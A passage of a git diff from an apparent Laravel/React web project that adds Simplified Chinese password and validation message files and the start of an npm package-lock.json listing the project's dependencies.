b/lang/zh_CN/passwords.php @@ -0,0 +1,11 @@ + '密码重置成功!', + 'sent' => '密码重置邮件已发送!', + 'throttled' => '请稍候再试。', + 'token' => '无效的 token', + 'user' => '找不到该邮箱对应的用户。', +]; diff --git a/lang/zh_CN/validation.php b/lang/zh_CN/validation.php new file mode 100644 index 00000000..f249d7c3 --- /dev/null +++ b/lang/zh_CN/validation.php @@ -0,0 +1,288 @@ + '您必须接受 :attribute。', + 'accepted_if' => '当 :other 为 :value 时,必须接受 :attribute。', + 'active_url' => ':attribute 不是一个有效的网址。', + 'after' => ':attribute 必须要晚于 :date。', + 'after_or_equal' => ':attribute 必须要等于 :date 或更晚。', + 'alpha' => ':attribute 只能由字母组成。', + 'alpha_dash' => ':attribute 只能由字母、数字、短划线(-)和下划线(_)组成。', + 'alpha_num' => ':attribute 只能由字母和数字组成。', + 'any_of' => ':attribute 字段无效。', + 'array' => ':attribute 必须是一个数组。', + 'ascii' => ':attribute 必须仅包含单字节字母数字字符和符号。', + 'before' => ':attribute 必须要早于 :date。', + 'before_or_equal' => ':attribute 必须要等于 :date 或更早。', + 'between' => [ + 'array' => ':attribute 必须只有 :min - :max 个单元。', + 'file' => ':attribute 必须介于 :min - :max KB 之间。', + 'numeric' => ':attribute 必须介于 :min - :max 之间。', + 'string' => ':attribute 必须介于 :min - :max 个字符之间。', + ], + 'boolean' => ':attribute 必须为布尔值。', + 'can' => ':attribute 字段包含未经授权的值。', + 'confirmed' => ':attribute 两次输入不一致。', + 'contains' => ':attribute 字段缺少必填值。', + 'current_password' => '密码错误。', + 'date' => ':attribute 不是一个有效的日期。', + 'date_equals' => ':attribute 必须要等于 :date。', + 'date_format' => ':attribute 的格式必须为 :format。', + 'decimal' => ':attribute 必须有 :decimal 位小数。', + 'declined' => ':attribute 必须是拒绝的。', + 'declined_if' => '当 :other 为 :value 时字段 :attribute 必须是拒绝的。', + 'different' => ':attribute 和 :other 必须不同。', + 'digits' => ':attribute 必须是 :digits 位数字。', + 'digits_between' => ':attribute 必须是介于 :min 和 :max 位的数字。', + 'dimensions' => ':attribute 图片尺寸不正确。', + 'distinct' => ':attribute 已经存在。', + 'doesnt_contain' => ':attribute 不能包含以下任意内容::values。', + 'doesnt_end_with' => ':attribute 不能以以下之一结尾: :values。', + 'doesnt_start_with' => ':attribute 不能以下列之一开头: :values。', + 'email' => ':attribute 不是一个合法的邮箱。', + 'encoding' => ':attribute 字段必须使用 :encoding 编码。', + 'ends_with' => ':attribute 必须以 :values 为结尾。', + 'enum' => ':attribute 值不正确。', + 'exists' => ':attribute 不存在。', + 'extensions' => ':attribute 字段必须具有以下扩展名之一::values。', + 'file' => ':attribute 必须是文件。', + 'filled' => ':attribute 不能为空。', + 'gt' => [ + 'array' => ':attribute 必须多于 :value 个元素。', + 'file' => ':attribute 必须大于 :value KB。', + 'numeric' => ':attribute 必须大于 :value。', + 'string' => ':attribute 必须多于 :value 个字符。', + ], + 'gte' => [ + 'array' => ':attribute 必须多于或等于 :value 个元素。', + 'file' => ':attribute 必须大于或等于 :value KB。', + 'numeric' => ':attribute 必须大于或等于 :value。', + 'string' => ':attribute 必须多于或等于 :value 个字符。', + ], + 'hex_color' => ':attribute 字段必须是有效的十六进制颜色。', + 'image' => ':attribute 必须是图片。', + 'in' => '已选的属性 :attribute 无效。', + 'in_array' => ':attribute 必须在 :other 中。', + 'in_array_keys' => ':attribute 必须至少包含以下任意一个键::values。', + 'integer' => ':attribute 必须是整数。', + 'ip' => ':attribute 必须是有效的 IP 地址。', + 'ipv4' => ':attribute 必须是有效的 IPv4 地址。', + 'ipv6' => ':attribute 必须是有效的 IPv6 地址。', + 'json' => ':attribute 必须是正确的 JSON 格式。', + 'list' => ':attribute 字段必须是一个列表。', + 'lowercase' => ':attribute 必须小写。', + 'lt' => [ + 'array' => ':attribute 必须少于 :value 个元素。', + 'file' => ':attribute 必须小于 :value KB。', + 'numeric' => ':attribute 必须小于 :value。', + 'string' => ':attribute 必须少于 :value 个字符。', + ], + 'lte' => [ + 'array' => ':attribute 必须少于或等于 :value 个元素。', + 'file' => ':attribute 必须小于或等于 :value KB。', + 'numeric' => ':attribute 必须小于或等于 :value。', + 'string' => ':attribute 必须少于或等于 :value 个字符。', + ], + 'mac_address' => ':attribute 必须是一个有效的 MAC 地址。', + 'max' => [ + 'array' => ':attribute 最多只有 :max 个单元。', + 'file' => ':attribute 不能大于 :max KB。', + 'numeric' => ':attribute 不能大于 :max。', + 'string' => ':attribute 不能大于 :max 个字符。', + ], + 'max_digits' => ':attribute 不能超过 :max 位数。', + 'mimes' => ':attribute 必须是一个 :values 类型的文件。', + 'mimetypes' => ':attribute 必须是一个 :values 类型的文件。', + 'min' => [ + 'array' => ':attribute 至少有 :min 个单元。', + 'file' => ':attribute 大小不能小于 :min KB。', + 'numeric' => ':attribute 必须大于等于 :min。', + 'string' => ':attribute 至少为 :min 个字符。', + ], + 'min_digits' => ':attribute 必须至少有 :min 位数。', + 'missing' => '必须缺少 :attribute 字段。', + 'missing_if' => '当 :other 为 :value 时,必须缺少 :attribute 字段。', + 'missing_unless' => '必须缺少 :attribute 字段,除非 :other 是 :value。', + 'missing_with' => '存在 :values 时,必须缺少 :attribute 字段。', + 'missing_with_all' => '存在 :values 时,必须缺少 :attribute 字段。', + 'multiple_of' => ':attribute 必须是 :value 中的多个值。', + 'not_in' => '已选的属性 :attribute 非法。', + 'not_regex' => ':attribute 的格式错误。', + 'numeric' => ':attribute 必须是一个数字。', + 'password' => [ + 'letters' => ':attribute 必须至少包含一个字母。', + 'mixed' => ':attribute 必须至少包含一个大写字母和一个小写字母。', + 'numbers' => ':attribute 必须至少包含一个数字。', + 'symbols' => ':attribute 必须至少包含一个符号。', + 'uncompromised' => '给定的 :attribute 出现在已经泄漏的密码中。请选择不同的 :attribute。', + ], + 'present' => ':attribute 必须存在。', + 'present_if' => '当 :other 等于 :value 时,必须存在 :attribute 字段。', + 'present_unless' => '除非 :other 等于 :value,否则 :attribute 字段必须存在。', + 'present_with' => '当 :values 存在时,:attribute 字段必须存在。', + 'present_with_all' => '当存在 :values 时,必须存在 :attribute 字段。', + 'prohibited' => ':attribute 字段被禁止。', + 'prohibited_if' => '当 :other 为 :value 时,禁止 :attribute 字段。', + 'prohibited_if_accepted' => ':attribute 字段在 :other 被接受时禁止。', + 'prohibited_if_declined' => ':attribute 字段在 :other 被拒绝时禁止。', + 'prohibited_unless' => ':attribute 字段被禁止,除非 :other 位于 :values 中。', + 'prohibits' => ':attribute 字段禁止出现 :other。', + 'regex' => ':attribute 格式不正确。', + 'required' => ':attribute 不能为空。', + 'required_array_keys' => ':attribute 至少包含指定的键::values.', + 'required_if' => '当 :other 为 :value 时 :attribute 不能为空。', + 'required_if_accepted' => '当 :other 存在时,:attribute 不能为空。', + 'required_if_declined' => '当 :other 不存在时,:attribute 不能为空。', + 'required_unless' => '当 :other 不为 :values 时 :attribute 不能为空。', + 'required_with' => '当 :values 存在时 :attribute 不能为空。', + 'required_with_all' => '当 :values 存在时 :attribute 不能为空。', + 'required_without' => '当 :values 不存在时 :attribute 不能为空。', + 'required_without_all' => '当 :values 都不存在时 :attribute 不能为空。', + 'same' => ':attribute 和 :other 必须相同。', + 'size' => [ + 'array' => ':attribute 必须为 :size 个单元。', + 'file' => ':attribute 大小必须为 :size KB。', + 'numeric' => ':attribute 大小必须为 :size。', + 'string' => ':attribute 必须是 :size 个字符。', + ], + 'starts_with' => ':attribute 必须以 :values 为开头。', + 'string' => ':attribute 必须是一个字符串。', + 'timezone' => ':attribute 必须是一个合法的时区值。', + 'ulid' => ':attribute 必须是有效的 ULID。', + 'unique' => ':attribute 已经存在。', + 'uploaded' => ':attribute 上传失败。', + 'uppercase' => ':attribute 必须大写', + 'url' => ':attribute 格式不正确。', + 'uuid' => ':attribute 必须是有效的 UUID。', + 'attributes' => [ + 'address' => '地址', + 'affiliate_url' => '附属网址', + 'age' => '年龄', + 'amount' => '数额', + 'announcement' => '公告', + 'area' => '区域', + 'audience_prize' => '观众奖', + 'audience_winner' => '观众奖得主', + 'available' => '可用的', + 'birthday' => '生日', + 'body' => '身体', + 'city' => '城市', + 'color' => '颜色', + 'company' => '公司', + 'compilation' => '汇编', + 'concept' => '概念', + 'conditions' => '状况', + 'content' => '内容', + 'contest' => '比赛', + 'country' => '国家', + 'cover' => '覆盖', + 'created_at' => '创建于', + 'creator' => '创建者', + 'currency' => '货币', + 'current_password' => '当前密码', + 'customer' => '顾客', + 'date' => '日期', + 'date_of_birth' => '出生日期', + 'dates' => '日期', + 'day' => '天', + 'deleted_at' => '删除于', + 'description' => '描述', + 'display_type' => '显示类型', + 'district' => '地区', + 'duration' => '期间', + 'email' => '邮箱', + 'excerpt' => '摘要', + 'filter' => '过滤', + 'finished_at' => '完成于', + 'first_name' => '名', + 'gender' => '性别', + 'grand_prize' => '大奖', + 'group' => '组', + 'hour' => '时', + 'image' => '图像', + 'image_desktop' => '桌面图像', + 'image_main' => '主图', + 'image_mobile' => '移动图像', + 'images' => '图片', + 'is_audience_winner' => '是观众奖得主', + 'is_hidden' => '被隐藏', + 'is_subscribed' => '已订阅', + 'is_visible' => '是可见的', + 'is_winner' => '是赢家', + 'items' => '项目', + 'key' => '钥匙', + 'last_name' => '姓', + 'lesson' => '课程', + 'line_address_1' => '线路地址 1', + 'line_address_2' => '线路地址 2', + 'login' => '登录', + 'message' => '信息', + 'middle_name' => '中间名字', + 'minute' => '分', + 'mobile' => '手机', + 'month' => '月', + 'name' => '名称', + 'national_code' => '国家代码', + 'number' => '数字', + 'password' => '密码', + 'password_confirmation' => '确认密码', + 'phone' => '电话', + 'photo' => '照片', + 'portfolio' => '文件夹', + 'postal_code' => '邮政编码', + 'preview' => '预览', + 'price' => '价格', + 'product_id' => '产品编号', + 'product_uid' => '产品UID', + 'product_uuid' => '产品UUID', + 'promo_code' => '促销代码', + 'province' => '省', + 'quantity' => '数量', + 'reason' => '原因', + 'recaptcha_response_field' => '重复验证码响应字段', + 'referee' => '裁判', + 'referees' => '裁判员', + 'region' => '地区', + 'reject_reason' => '拒绝理由', + 'remember' => '记住', + 'restored_at' => '恢复于', + 'result_text_under_image' => '图像下的结果文本', + 'role' => '角色', + 'rule' => '规则', + 'rules' => '规则', + 'second' => '秒', + 'sex' => '性别', + 'shipment' => '运输', + 'short_text' => '短文本', + 'size' => '大小', + 'skills' => '技能', + 'slug' => 'Slug', + 'specialization' => '专业化', + 'started_at' => '开始于', + 'state' => '状态', + 'status' => '地位', + 'street' => '街道', + 'student' => '学生', + 'subject' => '主题', + 'tag' => '标签', + 'tags' => '标签', + 'teacher' => '教师', + 'terms' => '条款', + 'test_description' => '测试说明', + 'test_locale' => '测试语言环境', + 'test_name' => '测试名称', + 'text' => '文本', + 'time' => '时间', + 'title' => '标题', + 'type' => '类型', + 'updated_at' => '更新于', + 'user' => '用户', + 'username' => '用户名', + 'value' => '价值', + 'winner' => '赢家', + 'work' => '工作', + 'year' => '年', + ], +]; diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 00000000..143aa2e0 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,8765 @@ +{ + "name": "cloud", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "dependencies": { + "@codemirror/lang-css": "^6.3.1", + "@codemirror/lang-html": "^6.4.11", + "@codemirror/lang-javascript": "^6.2.5", + "@dnd-kit/core": "^6.3.1", + "@dnd-kit/sortable": "^10.0.0", + "@dnd-kit/utilities": "^3.2.2", + "@headlessui/react": "^2.2.0", + "@inertiajs/react": "^2.0.0", + "@radix-ui/react-avatar": "^1.1.3", + "@radix-ui/react-checkbox": "^1.1.4", + "@radix-ui/react-collapsible": "^1.1.3", + "@radix-ui/react-dialog": "^1.1.6", + "@radix-ui/react-dropdown-menu": "^2.1.6", + "@radix-ui/react-label": "^2.1.2", + "@radix-ui/react-navigation-menu": "^1.2.5", + "@radix-ui/react-select": "^2.1.6", + "@radix-ui/react-separator": "^1.1.2", + "@radix-ui/react-slot": "^1.1.2", + "@radix-ui/react-toggle": "^1.1.2", + "@radix-ui/react-toggle-group": "^1.1.2", + "@radix-ui/react-tooltip": "^1.1.8", + "@tailwindcss/vite": "^4.0.6", + "@types/react": "^19.0.3", + "@types/react-dom": "^19.0.2", + "@uiw/react-codemirror": "^4.25.11", + "@uppy/aws-s3": "^5.1.0", + "@uppy/core": "^5.2.0", + "@uppy/dashboard": "^5.1.1", + "@uppy/locales": "^5.1.1", + "@uppy/react": "^5.2.0", + "@vitejs/plugin-react": "^4.3.4", + "axios": "^1.19.0", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "concurrently": "^9.0.1", + "globals": "^15.14.0", + "laravel-vite-plugin": "^1.0", + "lucide-react": "^0.475.0", + "react": "^19.0.0", + "react-dom": "^19.0.0", + "recharts": "^3.10.1", + "tailwind-merge": "^3.0.1", + "tailwindcss": "^4.0.0", + "tailwindcss-animate": "^1.0.7", + "typescript": "^5.7.2", + "vite": "^6.0" + }, + "devDependencies": { + "@eslint/js": "^9.19.0", + "@types/ws": "^8.18.1", + "eslint": "^9.17.0", + "eslint-config-prettier": "^10.0.1", + "eslint-plugin-react": "^7.37.3", + "eslint-plugin-react-hooks": "^5.1.0", + "prettier": "^3.4.2", + "prettier-plugin-organize-imports": "^4.1.0", + "prettier-plugin-tailwindcss": "^0.6.11", + "typescript-eslint": "^8.23.0", + "ws": "^8.21.1" + }, + "optionalDependencies": { + "@rollup/rollup-linux-x64-gnu": "4.9.5", + "@tailwindcss/oxide-linux-x64-gnu": "^4.0.1", + "lightningcss-linux-x64-gnu": "^1.29.1" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", + "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.8.tgz", + "integrity": "sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.8", + "@babel/types": "^7.29.8", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz", + "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz", + "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.26.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz", + "integrity": "sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz", + "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz", + "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz", + "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.8.tgz", + "integrity": "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.8" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.25.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.25.9.tgz", + "integrity": "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.25.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.25.9.tgz", + "integrity": "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg==", + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz", + "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.8.tgz", + "integrity": "sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.8", + "@babel/helper-globals": "^7.29.7", + "@babel/parser": "^7.29.8", + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.8", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.8", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.8.tgz", + "integrity": "sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@codemirror/autocomplete": { + "version": "6.20.3", + "resolved": "https://registry.npmjs.org/@codemirror/autocomplete/-/autocomplete-6.20.3.tgz", + "integrity": "sha512-tlosUqb+3BbxCxZdu4tKeRghPFC+QM7q4X5YhKV2eCmPG+1r2F3f4AaSz5sCrFqUtX4Jh20VFTKecl16MgiV9g==", + "license": "MIT", + "dependencies": { + "@codemirror/language": "^6.0.0", + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.17.0", + "@lezer/common": "^1.0.0" + } + }, + "node_modules/@codemirror/commands": { + "version": "6.10.4", + "resolved": "https://registry.npmjs.org/@codemirror/commands/-/commands-6.10.4.tgz", + "integrity": "sha512-Ryk9y9T0FFVF0cUGhAknveAyUOl/A1qReTFi+qPKtOh2Z9F4AUBz3XOrYD4ZEgZirdugVzHvd/2/Wcwy5OliTg==", + "license": "MIT", + "dependencies": { + "@codemirror/language": "^6.0.0", + "@codemirror/state": "^6.7.0", + "@codemirror/view": "^6.27.0", + "@lezer/common": "^1.1.0" + } + }, + "node_modules/@codemirror/lang-css": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/@codemirror/lang-css/-/lang-css-6.3.1.tgz", + "integrity": "sha512-kr5fwBGiGtmz6l0LSJIbno9QrifNMUusivHbnA1H6Dmqy4HZFte3UAICix1VuKo0lMPKQr2rqB+0BkKi/S3Ejg==", + "license": "MIT", + "dependencies": { + "@codemirror/autocomplete": "^6.0.0", + "@codemirror/language": "^6.0.0", + "@codemirror/state": "^6.0.0", + "@lezer/common": "^1.0.2", + "@lezer/css": "^1.1.7" + } + }, + "node_modules/@codemirror/lang-html": { + "version": "6.4.11", + "resolved": "https://registry.npmjs.org/@codemirror/lang-html/-/lang-html-6.4.11.tgz", + "integrity": "sha512-9NsXp7Nwp891pQchI7gPdTwBuSuT3K65NGTHWHNJ55HjYcHLllr0rbIZNdOzas9ztc1EUVBlHou85FFZS4BNnw==", + "license": "MIT", + "dependencies": { + "@codemirror/autocomplete": "^6.0.0", + "@codemirror/lang-css": "^6.0.0", + "@codemirror/lang-javascript": "^6.0.0", + "@codemirror/language": "^6.4.0", + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.17.0", + "@lezer/common": "^1.0.0", + "@lezer/css": "^1.1.0", + "@lezer/html": "^1.3.12" + } + }, + "node_modules/@codemirror/lang-javascript": { + "version": "6.2.5", + "resolved": "https://registry.npmjs.org/@codemirror/lang-javascript/-/lang-javascript-6.2.5.tgz", + "integrity": "sha512-zD4e5mS+50htS7F+TYjBPsiIFGanfVqg4HyUz6WNFikgOPf2BgKlx+TQedI1w6n/IqRBVBbBWmGFdLB/7uxO4A==", + "license": "MIT", + "dependencies": { + "@codemirror/autocomplete": "^6.0.0", + "@codemirror/language": "^6.6.0", + "@codemirror/lint": "^6.0.0", + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.17.0", + "@lezer/common": "^1.0.0", + "@lezer/javascript": "^1.0.0" + } + }, + "node_modules/@codemirror/language": { + "version": "6.12.4", + "resolved": "https://registry.npmjs.org/@codemirror/language/-/language-6.12.4.tgz", + "integrity": "sha512-1q4PaT+o6PbgpkJt4Q8Fv5XJxTy4FUZ4MWETtyiDw3J0Pyr9E2vqcKL+k9wcvjNTIsauxvE7OfmWj3FRPHQ76A==", + "license": "MIT", + "dependencies": { + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.23.0", + "@lezer/common": "^1.5.0", + "@lezer/highlight": "^1.0.0", + "@lezer/lr": "^1.0.0", + "style-mod": "^4.0.0" + } + }, + "node_modules/@codemirror/lint": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/@codemirror/lint/-/lint-6.9.7.tgz", + "integrity": "sha512-28/+iWLYxKxsvGYhSYL7zaCZqLz5+FFFDq9tVsvGv9kv8RY4fFAchJ5WX9M3YrrRlTIsECjsXPqeNgnSmNP2dg==", + "license": "MIT", + "dependencies": { + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.42.0", + "crelt": "^1.0.5" + } + }, + "node_modules/@codemirror/search": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/@codemirror/search/-/search-6.7.1.tgz", + "integrity": "sha512-uMe5UO6PamJtSHrXhhHOzSX3ReWtiJrva6GnPMwSOrZtiExb5X5eExhr2OUZQVvdxPsKpY3Ro2mFbQadpPWmHA==", + "license": "MIT", + "dependencies": { + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.37.0", + "crelt": "^1.0.5" + } + }, + "node_modules/@codemirror/state": { + "version": "6.7.1", + "resolved": "https://registry.npmjs.org/@codemirror/state/-/state-6.7.1.tgz", + "integrity": "sha512-9QzNDgE4EYDnAHfrTlR2lwiPciiOymLtwKK+8yHQzCc7GXhAP9xdEbEJFy2IWB1j9UGUl9BsgMmTo/ImA02T7A==", + "license": "MIT", + "dependencies": { + "@marijn/find-cluster-break": "^1.0.0" + } + }, + "node_modules/@codemirror/theme-one-dark": { + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/@codemirror/theme-one-dark/-/theme-one-dark-6.1.3.tgz", + "integrity": "sha512-NzBdIvEJmx6fjeremiGp3t/okrLPYT0d9orIc7AFun8oZcRk58aejkqhv6spnz4MLAevrKNPMQYXEWMg4s+sKA==", + "license": "MIT", + "dependencies": { + "@codemirror/language": "^6.0.0", + "@codemirror/state": "^6.0.0", + "@codemirror/view": "^6.0.0", + "@lezer/highlight": "^1.0.0" + } + }, + 